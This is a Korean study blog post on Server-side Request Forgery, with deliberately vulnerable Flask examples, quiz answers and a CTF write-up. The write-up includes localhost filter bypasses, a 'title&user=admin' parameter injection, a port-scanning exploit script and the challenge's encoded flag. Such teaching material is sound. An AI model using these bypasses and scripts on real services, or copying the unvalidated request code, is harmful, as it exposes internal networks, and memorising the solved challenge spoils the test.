본문 바로가기

웹해킹

겨울 웹해킹 1주차

Server-side Request Forgery(SSRF)

웹 서비스는 외부에서 접근할 수 없는 내부망의 기능을 사용할 때가 있다. 내부망의 기능은 백오피스 서비스를 예로 들 수 있다. 웹 서비스는 의심스러운 행위를 탐지하고 실시간으로 대응하기 위해 백오피스의 기능을 실행할 수 있다.

 

이용자가 입력한 URL에 요청을 보내는 경우

 

분석

아래 코드는 이용자의 입력값이 포함된 URL에 요청을 보내는 예제 코드입니다. 코드를 살펴보면, 두 가지의 엔드포인트가 존재합니다.

# pip3 install flask requests # 파이썬 flask, requests 라이브러리를 설치하는 명령입니다.
# python3 main.py # 파이썬 코드를 실행하는 명령입니다.

from flask import Flask, request
import requests

app = Flask(__name__)


@app.route("/image_downloader")
def image_downloader():
    # 이용자가 입력한 URL에 HTTP 요청을 보내고 응답을 반환하는 페이지 입니다.
    image_url = request.args.get("image_url", "") # URL 파라미터에서 image_url 값을 가져옵니다.
    response = requests.get(image_url) # requests 라이브러리를 사용해서 image_url URL에 HTTP GET 메소드 요청을 보내고 결과를 response에 저장합니다.
    return ( # 아래의 3가지 정보를 반환합니다.
        response.content, # HTTP 응답으로 온 데이터
        200, # HTTP 응답 코드
        {"Content-Type": response.headers.get("Content-Type", "")}, # HTTP 응답으로 온 헤더 중 Content-Type(응답 내용의 타입)
    )


@app.route("/request_info")
def request_info():
    # 접속한 브라우저(User-Agent)의 정보를 출력하는 페이지 입니다.
    return request.user_agent.string
    
    
app.run(host="127.0.0.1", port=8000)

 

image_downloader: 이용자가 입력한 image_urlrequests.get 함수를 사용해 GET 메소드로 HTTP 요청을 보내고 응답을 반환합니다.

 

request_info: 웹 페이지에 접속한 브라우저의 정보(User-Agent)를 반환합니다. 브라우저를 통해 해당 엔드포인트에 접근하면 접속하는데에 사용된 브라우저의 정보가 출력됩니다.

 

문제점 확인

image_downloader 엔드포인트의 image_urlrequest_info 엔드포인트 경로를 입력해봅니다.

http://127.0.0.1:8000/image_downloader?image_url=http://127.0.0.1:8000/request_info

위 경로에 접속하면 image_downloader에서는 http://127.0.0.1:8000/request_info URL에 HTTP 요청을 보내고 응답을 반환합니다. 반환한 값을 확인해보면 브라우저로 request_info 엔드포인트에 접속했을 때와 다르게 브라우저 정보가 python-requests/<LIBRARY_VERSION>인 것을 확인할 수 있습니다. 접속한 브라우저 정보로 python-requests가 출력된 이유는 웹 서비스에서 HTTP 요청을 보냈기 때문입니다

웹 서비스의 요청 URL에 이용자의 입력값이 포함되는 경우

 

분석

아래 코드는 이용자의 입력값이 포함된 URL에 요청을 보내는 예제 코드다. 코드를 살펴보면, 두 가지의 엔드포인트가 존재다.

INTERNAL_API = "http://api.internal/"
# INTERNAL_API = "http://172.17.0.3/"


@app.route("/v1/api/user/information")
def user_info():
	user_idx = request.args.get("user_idx", "")
	response = requests.get(f"{INTERNAL_API}/user/{user_idx}")
	

@app.route("/v1/api/user/search")
def user_search():
	user_name = request.args.get("user_name", "")
	user_type = "public"
	response = requests.get(f"{INTERNAL_API}/user/search?user_name={user_name}&user_type={user_type}")

 

user_info: 이용자가 전달한 user_idx 값을 내부 API의 URL 경로로 사용합니다. user_idx를 1로 설정하고 요청을 보내면 웹 서비스는 다음과 같은 주소에 요청을 보냅니다.

 

user_search: 이용자가 전달한 user_name 값을 내부 API의 쿼리로 사용한다. 이용자가 위와 같이 user_name을 “hello”로 설정하고 요청을 보내면 웹 서비스는 다음과 같은 주소에 요청을 보다.

 

문제점 확인

웹 서비스가 요청하는 URL에 이용자의 입력값이 포함되면 요청을 변조할 수 있다. 이용자의 입력값 중 URL의 구성 요소 문자를 삽입하면 API 경로를 조작할 수 있다.

 

웹 서비스의 요청 Body에 이용자의 입력값이 포함되는 경우

분석

 

아래 코드는 이용자의 입력값이 요청의 Body에 포함되는 예제 코드입니다.

# pip3 install flask
# python main.py

from flask import Flask, request, session
import requests
from os import urandom


app = Flask(__name__)
app.secret_key = urandom(32)
INTERNAL_API = "http://127.0.0.1:8000/"
header = {"Content-Type": "application/x-www-form-urlencoded"}


@app.route("/v1/api/board/write", methods=["POST"])
def board_write():
    session["idx"] = "guest" # session idx를 guest로 설정합니다.
    title = request.form.get("title", "") # title 값을 form 데이터에서 가져옵니다.
    body = request.form.get("body", "") # body 값을 form 데이터에서 가져옵니다.
    data = f"title={title}&body={body}&user={session['idx']}" # 전송할 데이터를 구성합니다.
    response = requests.post(f"{INTERNAL_API}/board/write", headers=header, data=data) # INTERNAL API 에 이용자가 입력한 값을 HTTP BODY 데이터로 사용해서 요청합니다.
    return response.content # INTERNAL API 의 응답 결과를 반환합니다.
    
    
@app.route("/board/write", methods=["POST"])
def internal_board_write():
    # form 데이터로 입력받은 값을 JSON 형식으로 반환합니다.
    title = request.form.get("title", "")
    body = request.form.get("body", "")
    user = request.form.get("user", "")
    info = {
        "title": title,
        "body": body,
        "user": user,
    }
    return info
    
    
@app.route("/")
def index():
    # board_write 기능을 호출하기 위한 페이지입니다.
    return """
        <form action="/v1/api/board/write" method="POST">
            <input type="text" placeholder="title" name="title"/><br/>
            <input type="text" placeholder="body" name="body"/><br/>
            <input type="submit"/>
        </form>
    """
    
    
app.run(host="127.0.0.1", port=8000, debug=True)

board_write: 이용자의 입력값을 HTTP Body에 포함하고 내부 API로 요청을 보냅니다. 전송할 데이터를 구성할 때 세션 정보를 "guest" 계정으로 설정합니다.

 

internal_board_write: board_write 함수에서 요청하는 내부 API를 구현한 기능입니다. 전달된 title, body 그리고 계정 이름을 JSON 형식으로 변환하고 반환합니다.

 

index: board_write 기능을 호출하기 위한 인덱스 페이지 입니다.

 

문제점 확인

1. 위 코드를 실행하고 다음 URL에 접속하면 titlebody를 입력하는 페이지가 표시됩니다.

2. 요청을 전송할 때 세션 정보를 "guest"로 설정했기 때문에 user가 "guest"인 것을 확인할 수 있습니다.

3. 데이터를 구성할 때 이용자의 입력값인 title, body 그리고 user의 값을 파라미터 형식으로 설정합니다.

4. 이로 인해 이용자가 URL에서 파라미터를 구분하기 위해 사용하는 구분 문자인 &를 포함하면 설정되는 data의 값을 변조할 수 있습니다.

5. title&user=admin를 삽입했을 때의 실행 결과를 확인해보면 user가 "admin"으로 변조된 것을 확인할 수 있습니다.


퀴즈

Q1. Server Side Request Forgery는 무엇일까?

A. 웹 서비스의 요청을 변조하는 취약점으로, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청을 보낼 수 있음

 
 

 

Q2. 구분 문자(Delimiter)에 대한 올바른 설명은?
A. 일반 텍스트 또는 데이터 스트림에서 별도의 독립적 영역 사이의 경계를 지정하는 데 사용하는 하나의 문자 혹은 문자들의 배열. URL 에서 구분 문자는 “/”(Path identifier), “?” (Query identifier) 등 이 있으며 구분 문자에 따라 URL의 해석이 다라질 수 있음.
 
 

A. 마이크로서비스


Exercise: SSRF

 

엔드포인트: /img_viewer

GET과 POST요청을 처리한다.

 

GET: img_viewer.html을 렌더링합니다.

POST: 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링합니다.

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET": 
        return render_template("img_viewer.html") 
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url) 
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc): 
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

 

기능: run_local_server

파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행합니다. http.server.HTTPServer의 두 번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면, 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성됩니다

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler # 리소스를 반환하는 웹 서버
)
def run_local_server():
    local_server.serve_forever()
    
    
threading._start_new_thread(run_local_server, ()) # 다른 쓰레드로 `local_server`를 실행합니다.

 

취약점 분석

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET": 
        return render_template("img_viewer.html") 
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url) 
        if url[0] == "/":
            url = "http://localhost:8000" + url
        # URL 필터링
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc): 
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

 

img_viewer는 이용자가 POST로 전달한 url에 HTTP 요청을 보내고, 응답을 반환합니다.

 

익스플로잇

URL 필터링 우회

127.0.0.1과 매핑된 도메인 이름 사용: 도메인 이름을 구매하면, 이를 DNS 서버에 등록하여 원하는 IP 주소와 연결할 수 있습니다. 이후에는 등록한 이름이 IP 주소로 리졸브(Resolve) 됩니다.

 

127.0.0.1의 alias 이용: 하나의 IP는 여러 방식으로 표기될 수 있습니다

localhost의 alias 이용: URL에서 호스트와 스키마는 대소문자를 구분하지 않습니다.

 

Proof-of-Concept

로컬 호스트의 8000번 포트에는 문제 서버가 실행되고 있는데, 위 URLimage viewer에 입력하면 문제 인덱스 페이지를 인코딩한 이미지가 반환됩니다.

 

포트 찾기

랜덤한 포트 찾기

내부 HTTP 서버는 포트 번호가 1500이상 1800이하인 임의 포트에서 실행되고 있습니다. 아래는 포트 번호를 찾는 예시다. 

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm

# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"

def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
    
    
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
    
    
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

 

이미지 부분을 검사하여 <img src="data:image/png;base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9">를 획득한다

 

디코더로 디코딩하여 플래그를 획득한다.

'웹해킹' 카테고리의 다른 글

웹해킹 9주차  (0) 2024.11.24
웹해킹 7주차  (1) 2024.11.09
웹해킹 6주차  (0) 2024.11.03
웹해킹 4주차  (0) 2024.10.07
웹해킹 3주차  (2) 2024.09.23